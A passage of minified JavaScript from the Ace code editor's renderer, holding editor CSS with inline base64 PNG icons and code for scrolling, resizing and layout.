url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAABOFBMVEX/////////QRswFAb/Ui4wFAYwFAYwFAaWGAfDRymzOSH/PxswFAb/SiUwFAYwFAbUPRvjQiDllog5HhHdRybsTi3/Tyv9Tir+Syj/UC3////XurebMBIwFAb/RSHbPx/gUzfdwL3kzMivKBAwFAbbvbnhPx66NhowFAYwFAaZJg8wFAaxKBDZurf/RB6mMxb/SCMwFAYwFAbxQB3+RB4wFAb/Qhy4Oh+4QifbNRcwFAYwFAYwFAb/QRzdNhgwFAYwFAbav7v/Uy7oaE68MBK5LxLewr/r2NXewLswFAaxJw4wFAbkPRy2PyYwFAaxKhLm1tMwFAazPiQwFAaUGAb/QBrfOx3bvrv/VC/maE4wFAbRPBq6MRO8Qynew8Dp2tjfwb0wFAbx6eju5+by6uns4uH9/f36+vr/GkHjAAAAYnRSTlMAGt+64rnWu/bo8eAA4InH3+DwoN7j4eLi4xP99Nfg4+b+/u9B/eDs1MD1mO7+4PHg2MXa347g7vDizMLN4eG+Pv7i5evs/v79yu7S3/DV7/498Yv24eH+4ufQ3Ozu/v7+y13sRqwAAADLSURBVHjaZc/XDsFgGIBhtDrshlitmk2IrbHFqL2pvXf/+78DPokj7+Fz9qpU/9UXJIlhmPaTaQ6QPaz0mm+5gwkgovcV6GZzd5JtCQwgsxoHOvJO15kleRLAnMgHFIESUEPmawB9ngmelTtipwwfASilxOLyiV5UVUyVAfbG0cCPHig+GBkzAENHS0AstVF6bacZIOzgLmxsHbt2OecNgJC83JERmePUYq8ARGkJx6XtFsdddBQgZE2nPR6CICZhawjA4Fb/chv+399kfR+MMMDGOQAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: 2px center;}.ace_gutter-cell.ace_warning {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAmVBMVEX///8AAAD///8AAAAAAABPSzb/5sAAAAB/blH/73z/ulkAAAAAAAD85pkAAAAAAAACAgP/vGz/rkDerGbGrV7/pkQICAf////e0IsAAAD/oED/qTvhrnUAAAD/yHD/njcAAADuv2r/nz//oTj/p064oGf/zHAAAAA9Nir/tFIAAAD/tlTiuWf/tkIAAACynXEAAAAAAAAtIRW7zBpBAAAAM3RSTlMAABR1m7RXO8Ln31Z36zT+neXe5OzooRDfn+TZ4p3h2hTf4t3k3ucyrN1K5+Xaks52Sfs9CXgrAAAAjklEQVR42o3PbQ+CIBQFYEwboPhSYgoYunIqqLn6/z8uYdH8Vmdnu9vz4WwXgN/xTPRD2+sgOcZjsge/whXZgUaYYvT8QnuJaUrjrHUQreGczuEafQCO/SJTufTbroWsPgsllVhq3wJEk2jUSzX3CUEDJC84707djRc5MTAQxoLgupWRwW6UB5fS++NV8AbOZgnsC7BpEAAAAABJRU5ErkJggg==");background-position: 2px center;}.ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAAAAAA6mKC9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAAJ0Uk5TAAB2k804AAAAPklEQVQY02NgIB68QuO3tiLznjAwpKTgNyDbMegwisCHZUETUZV0ZqOquBpXj2rtnpSJT1AEnnRmL2OgGgAAIKkRQap2htgAAAAASUVORK5CYII=");background-position: 2px center;}.ace_dark .ace_gutter-cell.ace_info {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQBAMAAADt3eJSAAAAJFBMVEUAAAChoaGAgIAqKiq+vr6tra1ZWVmUlJSbm5s8PDxubm56enrdgzg3AAAAAXRSTlMAQObYZgAAAClJREFUeNpjYMAPdsMYHegyJZFQBlsUlMFVCWUYKkAZMxZAGdxlDMQBAG+TBP4B6RyJAAAAAElFTkSuQmCC");}.ace_scrollbar {position: absolute;right: 0;bottom: 0;z-index: 6;}.ace_scrollbar-inner {position: absolute;cursor: text;left: 0;top: 0;}.ace_scrollbar-v{overflow-x: hidden;overflow-y: scroll;top: 0;}.ace_scrollbar-h {overflow-x: scroll;overflow-y: hidden;left: 0;}.ace_print-margin {position: absolute;height: 100%;}.ace_text-input {position: absolute;z-index: 0;width: 0.5em;height: 1em;opacity: 0;background: transparent;-moz-appearance: none;appearance: none;border: none;resize: none;outline: none;overflow: hidden;font: inherit;padding: 0 1px;margin: 0 -1px;text-indent: -1em;-ms-user-select: text;-moz-user-select: text;-webkit-user-select: text;user-select: text;white-space: pre!important;}.ace_text-input.ace_composition {background: inherit;color: inherit;z-index: 1000;opacity: 1;text-indent: 0;}.ace_layer {z-index: 1;position: absolute;overflow: hidden;word-wrap: normal;white-space: pre;height: 100%;width: 100%;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;pointer-events: none;}.ace_gutter-layer {position: relative;width: auto;text-align: right;pointer-events: auto;}.ace_text-layer {font: inherit !important;}.ace_cjk {display: inline-block;text-align: center;}.ace_cursor-layer {z-index: 4;}.ace_cursor {z-index: 4;position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;border-left: 2px solid;transform: translatez(0);}.ace_multiselect .ace_cursor {border-left-width: 1px;}.ace_slim-cursors .ace_cursor {border-left-width: 1px;}.ace_overwrite-cursors .ace_cursor {border-left-width: 0;border-bottom: 1px solid;}.ace_hidden-cursors .ace_cursor {opacity: 0.2;}.ace_smooth-blinking .ace_cursor {-webkit-transition: opacity 0.18s;transition: opacity 0.18s;}.ace_marker-layer .ace_step, .ace_marker-layer .ace_stack {position: absolute;z-index: 3;}.ace_marker-layer .ace_selection {position: absolute;z-index: 5;}.ace_marker-layer .ace_bracket {position: absolute;z-index: 6;}.ace_marker-layer .ace_active-line {position: absolute;z-index: 2;}.ace_marker-layer .ace_selected-word {position: absolute;z-index: 4;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;}.ace_line .ace_fold {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;display: inline-block;height: 11px;margin-top: -2px;vertical-align: middle;background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACJJREFUeNpi+P//fxgTAwPDBxDxD078RSX+YeEyDFMCIMAAI3INmXiwf2YAAAAASUVORK5CYII=");background-repeat: no-repeat, repeat-x;background-position: center center, top left;color: transparent;border: 1px solid black;border-radius: 2px;cursor: pointer;pointer-events: auto;}.ace_dark .ace_fold {}.ace_fold:hover{background-image:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAJCAYAAADU6McMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJpJREFUeNpi/P//PwOlgAXGYGRklAVSokD8GmjwY1wasKljQpYACtpCFeADcHVQfQyMQAwzwAZI3wJKvCLkfKBaMSClBlR7BOQikCFGQEErIH0VqkabiGCAqwUadAzZJRxQr/0gwiXIal8zQQPnNVTgJ1TdawL0T5gBIP1MUJNhBv2HKoQHHjqNrA4WO4zY0glyNKLT2KIfIMAAQsdgGiXvgnYAAAAASUVORK5CYII="),url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAA3CAYAAADNNiA5AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACBJREFUeNpi+P//fz4TAwPDZxDxD5X4i5fLMEwJgAADAEPVDbjNw87ZAAAAAElFTkSuQmCC");}.ace_tooltip {background-color: #FFF;background-image: -webkit-linear-gradient(top, transparent, rgba(0, 0, 0, 0.1));background-image: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.1));border: 1px solid gray;border-radius: 1px;box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);color: black;max-width: 100%;padding: 3px 4px;position: fixed;z-index: 999999;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;cursor: default;white-space: pre;word-wrap: break-word;line-height: normal;font-style: normal;font-weight: normal;letter-spacing: normal;pointer-events: none;}.ace_folding-enabled > .ace_gutter-cell {padding-right: 13px;}.ace_fold-widget {-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;margin: 0 -12px 0 1px;display: none;width: 11px;vertical-align: top;background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42mWKsQ0AMAzC8ixLlrzQjzmBiEjp0A6WwBCSPgKAXoLkqSot7nN3yMwR7pZ32NzpKkVoDBUxKAAAAABJRU5ErkJggg==");background-repeat: no-repeat;background-position: center;border-radius: 3px;border: 1px solid transparent;cursor: pointer;}.ace_folding-enabled .ace_fold-widget {display: inline-block; }.ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAANElEQVR42m3HwQkAMAhD0YzsRchFKI7sAikeWkrxwScEB0nh5e7KTPWimZki4tYfVbX+MNl4pyZXejUO1QAAAABJRU5ErkJggg==");}.ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAGCAYAAAAG5SQMAAAAOUlEQVR42jXKwQkAMAgDwKwqKD4EwQ26sSOkVWjgIIHAzPiCgaqiqnJHZnKICBERHN194O5b9vbLuAVRL+l0YWnZAAAAAElFTkSuQmCCXA==");}.ace_fold-widget:hover {border: 1px solid rgba(0, 0, 0, 0.3);background-color: rgba(255, 255, 255, 0.2);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);}.ace_fold-widget:active {border: 1px solid rgba(0, 0, 0, 0.4);background-color: rgba(0, 0, 0, 0.05);box-shadow: 0 1px 1px rgba(255, 255, 255, 0.8);}.ace_dark .ace_fold-widget {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHklEQVQIW2P4//8/AzoGEQ7oGCaLLAhWiSwB146BAQCSTPYocqT0AAAAAElFTkSuQmCC");}.ace_dark .ace_fold-widget.ace_end {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAH0lEQVQIW2P4//8/AxQ7wNjIAjDMgC4AxjCVKBirIAAF0kz2rlhxpAAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget.ace_closed {background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAAFCAYAAACAcVaiAAAAHElEQVQIW2P4//+/AxAzgDADlOOAznHAKgPWAwARji8UIDTfQQAAAABJRU5ErkJggg==");}.ace_dark .ace_fold-widget:hover {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);background-color: rgba(255, 255, 255, 0.1);}.ace_dark .ace_fold-widget:active {box-shadow: 0 1px 1px rgba(255, 255, 255, 0.2);}.ace_fold-widget.ace_invalid {background-color: #FFB4B4;border-color: #DE5555;}.ace_fade-fold-widgets .ace_fold-widget {-webkit-transition: opacity 0.4s ease 0.05s;transition: opacity 0.4s ease 0.05s;opacity: 0;}.ace_fade-fold-widgets:hover .ace_fold-widget {-webkit-transition: opacity 0.05s ease 0.05s;transition: opacity 0.05s ease 0.05s;opacity:1;}.ace_underline {text-decoration: underline;}.ace_bold {font-weight: bold;}.ace_nobold .ace_bold {font-weight: normal;}.ace_italic {font-style: italic;}.ace_error-marker {background-color: rgba(255, 0, 0,0.2);position: absolute;z-index: 9;}.ace_highlight-marker {background-color: rgba(255, 255, 0,0.2);position: absolute;z-index: 8;}.ace_br1 {border-top-left-radius : 3px;}.ace_br2 {border-top-right-radius : 3px;}.ace_br3 {border-top-left-radius : 3px; border-top-right-radius: 3px;}.ace_br4 {border-bottom-right-radius: 3px;}.ace_br5 {border-top-left-radius : 3px; border-bottom-right-radius: 3px;}.ace_br6 {border-top-right-radius : 3px; border-bottom-right-radius: 3px;}.ace_br7 {border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px;}.ace_br8 {border-bottom-left-radius : 3px;}.ace_br9 {border-top-left-radius : 3px; border-bottom-left-radius: 3px;}.ace_br10{border-top-right-radius : 3px; border-bottom-left-radius: 3px;}.ace_br11{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br12{border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br13{border-top-left-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br14{border-top-right-radius : 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_br15{border-top-left-radius : 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px;}.ace_text-input-ios {position: absolute !important;top: -100000px !important;left: -100000px !important;}';s.importCssString(m,"ace_editor.css");var A=function(e,t){var i=this;this.container=e||s.createElement("div"),this.$keepTextAreaAtCursor=!r.isOldIE,s.addCssClass(this.container,"ace_editor"),this.setTheme(t),this.$gutter=s.createElement("div"),this.$gutter.className="ace_gutter",this.container.appendChild(this.$gutter),this.$gutter.setAttribute("aria-hidden",!0),this.scroller=s.createElement("div"),this.scroller.className="ace_scroller",this.container.appendChild(this.scroller),this.content=s.createElement("div"),this.content.className="ace_content",this.scroller.appendChild(this.content),this.$gutterLayer=new a(this.$gutter),this.$gutterLayer.on("changeGutterWidth",this.onGutterResize.bind(this)),this.$markerBack=new l(this.content);var n=this.$textLayer=new c(this.content);this.canvas=n.element,this.$markerFront=new l(this.content),this.$cursorLayer=new h(this.content),this.$horizScroll=!1,this.$vScroll=!1,this.scrollBar=this.scrollBarV=new d(this.container,this),this.scrollBarH=new u(this.container,this),this.scrollBarV.addEventListener("scroll",(function(e){i.$scrollAnimation||i.session.setScrollTop(e.data-i.scrollMargin.top)})),this.scrollBarH.addEventListener("scroll",(function(e){i.$scrollAnimation||i.session.setScrollLeft(e.data-i.scrollMargin.left)})),this.scrollTop=0,this.scrollLeft=0,this.cursorPos={row:0,column:0},this.$fontMetrics=new f(this.container),this.$textLayer.$setFontMetrics(this.$fontMetrics),this.$textLayer.addEventListener("changeCharacterSize",(function(e){i.updateCharacterSize(),i.onResize(!0,i.gutterWidth,i.$size.width,i.$size.height),i._signal("changeCharacterSize",e)})),this.$size={width:0,height:0,scrollerHeight:0,scrollerWidth:0,$dirty:!0},this.layerConfig={width:1,padding:0,firstRow:0,firstRowScreen:0,lastRow:0,lineHeight:0,characterWidth:0,minHeight:1,maxHeight:1,offset:0,height:1,gutterOffset:1},this.scrollMargin={left:0,right:0,top:0,bottom:0,v:0,h:0},this.$loop=new g(this.$renderChanges.bind(this),this.container.ownerDocument.defaultView),this.$loop.schedule(this.CHANGE_FULL),this.updateCharacterSize(),this.setPadding(4),o.resetOptions(this),o._emit("renderer",this)};(function(){this.CHANGE_CURSOR=1,this.CHANGE_MARKER=2,this.CHANGE_GUTTER=4,this.CHANGE_SCROLL=8,this.CHANGE_LINES=16,this.CHANGE_TEXT=32,this.CHANGE_SIZE=64,this.CHANGE_MARKER_BACK=128,this.CHANGE_MARKER_FRONT=256,this.CHANGE_FULL=512,this.CHANGE_H_SCROLL=1024,n.implement(this,p),this.updateCharacterSize=function(){this.$textLayer.allowBoldFonts!=this.$allowBoldFonts&&(this.$allowBoldFonts=this.$textLayer.allowBoldFonts,this.setStyle("ace_nobold",!this.$allowBoldFonts)),this.layerConfig.characterWidth=this.characterWidth=this.$textLayer.getCharacterWidth(),this.layerConfig.lineHeight=this.lineHeight=this.$textLayer.getLineHeight(),this.$updatePrintMargin()},this.setSession=function(e){this.session&&this.session.doc.off("changeNewLineMode",this.onChangeNewLineMode),this.session=e,e&&this.scrollMargin.top&&e.getScrollTop()<=0&&e.setScrollTop(-this.scrollMargin.top),this.$cursorLayer.setSession(e),this.$markerBack.setSession(e),this.$markerFront.setSession(e),this.$gutterLayer.setSession(e),this.$textLayer.setSession(e),e&&(this.$loop.schedule(this.CHANGE_FULL),this.session.$setFontMetrics(this.$fontMetrics),this.scrollBarH.scrollLeft=this.scrollBarV.scrollTop=null,this.onChangeNewLineMode=this.onChangeNewLineMode.bind(this),this.onChangeNewLineMode(),this.session.doc.on("changeNewLineMode",this.onChangeNewLineMode))},this.updateLines=function(e,t,i){if(void 0===t&&(t=1/0),this.$changedLines?(this.$changedLines.firstRow>e&&(this.$changedLines.firstRow=e),this.$changedLines.lastRowthis.layerConfig.lastRow||this.$loop.schedule(this.CHANGE_LINES)},this.onChangeNewLineMode=function(){this.$loop.schedule(this.CHANGE_TEXT),this.$textLayer.$updateEolChar(),this.session.$bidiHandler.setEolChar(this.$textLayer.EOL_CHAR)},this.onChangeTabSize=function(){this.$loop.schedule(this.CHANGE_TEXT|this.CHANGE_MARKER),this.$textLayer.onChangeTabSize()},this.updateText=function(){this.$loop.schedule(this.CHANGE_TEXT)},this.updateFull=function(e){e?this.$renderChanges(this.CHANGE_FULL,!0):this.$loop.schedule(this.CHANGE_FULL)},this.updateFontSize=function(){this.$textLayer.checkForSizeChanges()},this.$changes=0,this.$updateSizeAsync=function(){this.$loop.pending?this.$size.$dirty=!0:this.onResize()},this.onResize=function(e,t,i,n){if(!(this.resizing>2)){this.resizing>0?this.resizing++:this.resizing=e?1:0;var s=this.container;n||(n=s.clientHeight||s.scrollHeight),i||(i=s.clientWidth||s.scrollWidth);var o=this.$updateCachedSize(e,t,i,n);if(!this.$size.scrollerHeight||!i&&!n)return this.resizing=0;e&&(this.$gutterLayer.$padding=null),e?this.$renderChanges(o|this.$changes,!0):this.$loop.schedule(o|this.$changes),this.resizing&&(this.resizing=0),this.scrollBarV.scrollLeft=this.scrollBarV.scrollTop=null}},this.$updateCachedSize=function(e,t,i,n){n-=this.$extraHeight||0;var s=0,o=this.$size,r={width:o.width,height:o.height,scrollerHeight:o.scrollerHeight,scrollerWidth:o.scrollerWidth};return n&&(e||o.height!=n)&&(o.height=n,s|=this.CHANGE_SIZE,o.scrollerHeight=o.height,this.$horizScroll&&(o.scrollerHeight-=this.scrollBarH.getHeight()),this.scrollBarV.element.style.bottom=this.scrollBarH.getHeight()+"px",s|=this.CHANGE_SCROLL),i&&(e||o.width!=i)&&(s|=this.CHANGE_SIZE,o.width=i,null==t&&(t=this.$showGutter?this.$gutter.offsetWidth:0),this.gutterWidth=t,this.scrollBarH.element.style.left=this.scroller.style.left=t+"px",o.scrollerWidth=Math.max(0,i-t-this.scrollBarV.getWidth()),this.scrollBarH.element.style.right=this.scroller.style.right=this.scrollBarV.getWidth()+"px",this.scroller.style.bottom=this.scrollBarH.getHeight()+"px",(this.session&&this.session.getUseWrapMode()&&this.adjustWrapLimit()||e)&&(s|=this.CHANGE_FULL)),o.$dirty=!i||!n,s&&this._signal("resize",r),s},this.onGutterResize=function(){var e=this.$showGutter?this.$gutter.offsetWidth:0;e!=this.gutterWidth&&(this.$changes|=this.$updateCachedSize(!0,e,this.$size.width,this.$size.height)),this.session.getUseWrapMode()&&this.adjustWrapLimit()||this.$size.$dirty?this.$loop.schedule(this.CHANGE_FULL):(this.$computeLayerConfig(),this.$loop.schedule(this.CHANGE_MARKER))},this.adjustWrapLimit=function(){var e=this.$size.scrollerWidth-2*this.$padding,t=Math.floor(e/this.characterWidth);return this.session.adjustWrapLimit(t,this.$showPrintMargin&&this.$printMarginColumn)},this.setAnimatedScroll=function(e){this.setOption("animatedScroll",e)},this.getAnimatedScroll=function(){return this.$animatedScroll},this.setShowInvisibles=function(e){this.setOption("showInvisibles",e),this.session.$bidiHandler.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.getOption("showInvisibles")},this.getDisplayIndentGuides=function(){return this.getOption("displayIndentGuides")},this.setDisplayIndentGuides=function(e){this.setOption("displayIndentGuides",e)},this.setShowPrintMargin=function(e){this.setOption("showPrintMargin",e)},this.getShowPrintMargin=function(){return this.getOption("showPrintMargin")},this.setPrintMarginColumn=function(e){this.setOption("printMarginColumn",e)},this.getPrintMarginColumn=function(){return this.getOption("printMarginColumn")},this.getShowGutter=function(){return this.getOption("showGutter")},this.setShowGutter=function(e){return this.setOption("showGutter",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.$updateGutterLineHighlight=function(){var e=this.$cursorLayer.$pixelPos,t=this.layerConfig.lineHeight;if(this.session.getUseWrapMode()){var i=this.session.selection.getCursor();i.column=0,e=this.$cursorLayer.getPixelPosition(i,!0),t*=this.session.getRowLength(i.row)}this.$gutterLineHighlight.style.top=e.top-this.layerConfig.offset+"px",this.$gutterLineHighlight.style.height=t+"px"},this.$updatePrintMargin=function(){if(this.$showPrintMargin||this.$printMarginEl){if(!this.$printMarginEl){var e=s.createElement("div");e.className="ace_layer ace_print-margin-layer",this.$printMarginEl=s.createElement("div"),this.$printMarginEl.className="ace_print-margin",e.appendChild(this.$printMarginEl),this.content.insertBefore(e,this.content.firstChild)}var t=this.$printMarginEl.style;t.left=this.characterWidth*this.$printMarginColumn+this.$padding+"px",t.visibility=this.$showPrintMargin?"visible":"hidden",this.session&&-1==this.session.$wrap&&this.adjustWrapLimit()}},this.getContainerElement=function(){return this.container},this.getMouseEventTarget=function(){return this.scroller},this.getTextAreaContainer=function(){return this.container},this.$moveTextAreaToCursor=function(){if(this.$keepTextAreaAtCursor){var e=this.layerConfig,t=this.$cursorLayer.$pixelPos.top,i=this.$cursorLayer.$pixelPos.left;t-=e.offset;var n=this.textarea.style,s=this.lineHeight;if(t<0||t>e.height-s)n.top=n.left="0";else{var o=this.characterWidth;if(this.$composition){var r=this.textarea.value.replace(/^\x01+/,"");o*=this.session.$getStringScreenWidth(r)[0]+2,s+=2}i-=this.scrollLeft,i>this.$size.scrollerWidth-o&&(i=this.$size.scrollerWidth-o),i+=this.gutterWidth,n.height=s+"px",n.width=o+"px",n.left=Math.min(i,this.$size.scrollerWidth-o)+"px",n.top=Math.min(t,this.$size.height-s)+"px"}}},this.getFirstVisibleRow=function(){return this.layerConfig.firstRow},this.getFirstFullyVisibleRow=function(){return this.layerConfig.firstRow+(0===this.layerConfig.offset?0:1)},this.getLastFullyVisibleRow=function(){var e=this.layerConfig,t=e.lastRow,i=this.session.documentToScreenRow(t,0)*e.lineHeight;return i-this.session.getScrollTop()>e.height-e.lineHeight?t-1:t},this.getLastVisibleRow=function(){return this.layerConfig.lastRow},this.$padding=null,this.setPadding=function(e){this.$padding=e,this.$textLayer.setPadding(e),this.$cursorLayer.setPadding(e),this.$markerFront.setPadding(e),this.$markerBack.setPadding(e),this.$loop.schedule(this.CHANGE_FULL),this.$updatePrintMargin()},this.setScrollMargin=function(e,t,i,n){var s=this.scrollMargin;s.top=0|e,s.bottom=0|t,s.right=0|n,s.left=0|i,s.v=s.top+s.bottom,s.h=s.left+s.right,s.top&&this.scrollTop<=0&&this.session&&this.session.setScrollTop(-s.top),this.updateFull()},this.getHScrollBarAlwaysVisible=function(){return this.$hScrollBarAlwaysVisible},this.setHScrollBarAlwaysVisible=function(e){this.setOption("hScrollBarAlwaysVisible",e)},this.getVScrollBarAlwaysVisible=function(){return this.$vScrollBarAlwaysVisible},this.setVScrollBarAlwaysVisible=function(e){this.setOption("vScrollBarAlwaysVisible",e)},this.$updateScrollBarV=function(){var e=this.layerConfig.maxHeight,t=this.$size.scrollerHeight;!this.$maxLines&&this.$scrollPastEnd&&(e-=(t-this.lineHeight)*this.$scrollPastEnd,this.scrollTop>e-t&&(e=this.scrollTop+t,this.scrollBarV.scrollTop=null)),this.scrollBarV.setScrollHeight(e+this.scrollMargin.v),this.scrollBarV.setScrollTop(this.scrollTop+this.scrollMargin.top)},this.$updateScrollBarH=function(){this.scrollBarH.setScrollWidth(this.layerConfig.width+2*this.$padding+this.scrollMargin.h),this.scrollBarH.setScrollLeft(this.scrollLeft+this.scrollMargin.left)},this.$frozen=!1,this.freeze=function(){this.$frozen=!0},this.unfreeze=function(){this.$frozen=!1},this.$renderChanges=function(e,t){if(this.$changes&&(e|=this.$changes,this.$changes=0),this.session&&this.container.offsetWidth&&!this.$frozen&&(e||t)){if(this.$size.$dirty)return this.$changes|=e,this.onResize(!0);this.lineHeight||this.$textLayer.checkForSizeChanges(),this._signal("beforeRender"),this.session&&this.session.$bidiHandler&&this.session.$bidiHandler.updateCharacterWidths(this.$fontMetrics);var i=this.layerConfig;if(e&this.CHANGE_FULL||e&this.CHANGE_SIZE||e&this.CHANGE_TEXT||e&this.CHANGE_LINES||e&this.CHANGE_SCROLL||e&this.CHANGE_H_SCROLL){if(e|=this.$computeLayerConfig(),i.firstRow!=this.layerConfig.firstRow&&i.firstRowScreen==this.layerConfig.firstRowScreen){var n=this.scrollTop+(i.firstRow-this.layerConfig.firstRow)*this.lineHeight;n>0&&(this.scrollTop=n,e|=this.CHANGE_SCROLL,e|=this.$computeLayerConfig())}i=this.layerConfig,this.$updateScrollBarV(),e&this.CHANGE_H_SCROLL&&this.$updateScrollBarH(),this.$gutterLayer.element.style.marginTop=-i.offset+"px",this.content.style.marginTop=-i.offset+"px",this.content.style.width=i.width+2*this.$padding+"px",this.content.style.height=i.minHeight+"px"}if(e&this.CHANGE_H_SCROLL&&(this.content.style.marginLeft=-this.scrollLeft+"px",this.scroller.className=this.scrollLeft<=0?"ace_scroller":"ace_scroller ace_scroll-left"),e&this.CHANGE_FULL)return this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),void this._signal("afterRender");if(e&this.CHANGE_SCROLL)return e&this.CHANGE_TEXT||e&this.CHANGE_LINES?this.$textLayer.update(i):this.$textLayer.scrollLines(i),this.$showGutter&&this.$gutterLayer.update(i),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$highlightGutterLine&&this.$updateGutterLineHighlight(),this.$moveTextAreaToCursor(),void this._signal("afterRender");e&this.CHANGE_TEXT?(this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i)):e&this.CHANGE_LINES?(this.$updateLines()||e&this.CHANGE_GUTTER&&this.$showGutter)&&this.$gutterLayer.update(i):(e&this.CHANGE_TEXT||e&this.CHANGE_GUTTER)&&this.$showGutter&&this.$gutterLayer.update(i),e&this.CHANGE_CURSOR&&(this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),this.$highlightGutterLine&&this.$updateGutterLineHighlight()),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_FRONT)&&this.$markerFront.update(i),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_BACK)&&this.$markerBack.update(i),this._signal("afterRender")}else this.$changes|=e},this.$autosize=function(){var e=this.session.getScreenLength()*this.lineHeight,t=this.$maxLines*this.lineHeight,i=Math.min(t,Math.max((this.$minLines||1)*this.lineHeight,e))+this.scrollMargin.v+(this.$extraHeight||0);this.$horizScroll&&(i+=this.scrollBarH.getHeight()),this.$maxPixelHeight&&i>this.$maxPixelHeight&&(i=this.$maxPixelHeight);var n=e>t;if(i!=this.desiredHeight||this.$size.height!=this.desiredHeight||n!=this.$vScroll){n!=this.$vScroll&&(this.$vScroll=n,this.scrollBarV.setVisible(n));var s=this.container.clientWidth;this.container.style.height=i+"px",this.$updateCachedSize(!0,this.$gutterWidth,s,i),this.desiredHeight=i,this._signal("autosize")}},this.$computeLayerConfig=function(){var e=this.session,t=this.$size,i=t.height<=2*this.lineHeight,n=this.session.getScreenLength(),s=n*this.lineHeight,o=this.$getLongestLine(),r=!i&&(this.$hScrollBarAlwaysVisible||t.scrollerWidth-o-2*this.$padding<0),a=this.$horizScroll!==r;a&&(this.$horizScroll=r,this.scrollBarH.setVisible(r));var l=this.$vScroll;this.$maxLines&&this.lineHeight>1&&this.$autosize();var c=this.scrollTop%this.lineHeight,h=t.scrollerHeight+this.lineHeight,u=!this.$maxLines&&this.$scrollPastEnd?(t.scrollerHeight-this.lineHeight)*this.$scrollPastEnd:0;s+=u;var d=this.scrollMargin;this.session.setScrollTop(Math.max(-d.top,Math.min(this.scrollTop,s-t.scrollerHeight+d.bottom))),this.session.setScrollLeft(Math.max(-d.left,Math.min(this.scrollLeft,o+2*this.$padding-t.scrollerWidth+d.right)));var g=!i&&(this.$vScrollBarAlwaysVisible||t.scrollerHeight-s+u<0||this.scrollTop>d.top),f=l!==g;f&&(this.$vScroll=g,this.scrollBarV.setVisible(g));var p,m,A=Math.ceil(h/this.lineHeight)-1,v=Math.max(0,Math.round((this.scrollTop-c)/this.lineHeight)),C=v+A,w=this.lineHeight;v=e.screenToDocumentRow(v,0);var 